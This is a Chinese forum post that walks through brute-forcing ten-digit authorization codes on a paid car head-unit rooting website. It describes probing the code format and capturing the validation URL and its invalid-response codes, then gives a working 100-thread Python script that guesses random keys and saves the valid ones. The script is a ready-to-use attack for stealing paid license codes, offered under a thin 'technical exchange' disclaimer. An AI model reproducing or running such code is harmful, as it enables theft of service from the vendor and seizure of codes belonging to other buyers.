好友
阅读权限35
听众
最后登录1970-1-1
|
以前发过某车机root软件的破解,但是要root车机,首先要购买网站授权码进行远程root。
首先我们要知道授权码的格式。
很明显,十位纯数字组成。至于如何知道,通过弱密码探测可知。
其次我们要知道该网站校验密码的方法,这个可以通过浏览器控制台截获
https://xxxxxxxx.org/root/index.php?action=root&key={rndkey}
rndkey用我们生成的随机数代替。
网址脱敏处理,用xxx代替。
第三步我们要知道是网站如何判断授权码有效还是无效的
同样,我们通过浏览器控制台抓包分析,可以知道
无效授权码的返回值为CODE 2和CODE 3
code2是无效授权码,code3是已使用授权码。
那么就很简单了:
用一个10位随机数生成器生成随机数
多线程发送请求
判断返回值
丢弃无效随机数,有效随机数增量写入文本文件。
100线程并发,大概几秒钟出一个有效授权码。
以下是python源码,网址脱敏,仅作技术交流。
import requests
import random
import threading
# 线程数量
NUM_THREADS = 100
lock = threading.Lock() # 线程锁,防止多个线程同时写入文件导致数据错乱
# 检测链接的函数
def check_rndkey(rndkey):
url = f"https://xxxxxxxx.org/root/index.php?action=root&key={rndkey}"
try:
response = requests.get(url, timeout=5) # 设置超时,防止请求卡住
if response.status_code == 200:
content = response.text
if ("CODE 2]" in content) or ("CODE 3]" in content):
return False # 无效的rndkey
else:
return True # 有效的rndkey
except requests.RequestException:
pass # 网络异常时,忽略错误并继续
return False # 请求失败时返回无效
# 随机生成10位数字
def generate_random_key():
return ''.join(str(random.randint(0, 9)) for _ in range(10))
# 将有效的rndkey写入文件(加锁以防止并发写入出错)
def write_key_to_file(rndkey):
with lock:
with open('key.txt', 'a') as f:
f.write(rndkey + '\n')
# 线程任务
def worker():
while True:
rndkey = generate_random_key() # 生成随机10位数字
print(f"线程 {threading.current_thread().name} 正在检测: {rndkey}")
if check_rndkey(rndkey): # 如果有效
print(f"找到有效的 rndkey: {rndkey}")
write_key_to_file(rndkey) # 写入文件
# 启动多线程
def main():
threads = []
for _ in range(NUM_THREADS):
t = threading.Thread(target=worker, daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join() # 等待所有线程执行完毕(实际上是无限循环)
if __name__ == '__main__':
main() |
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|
|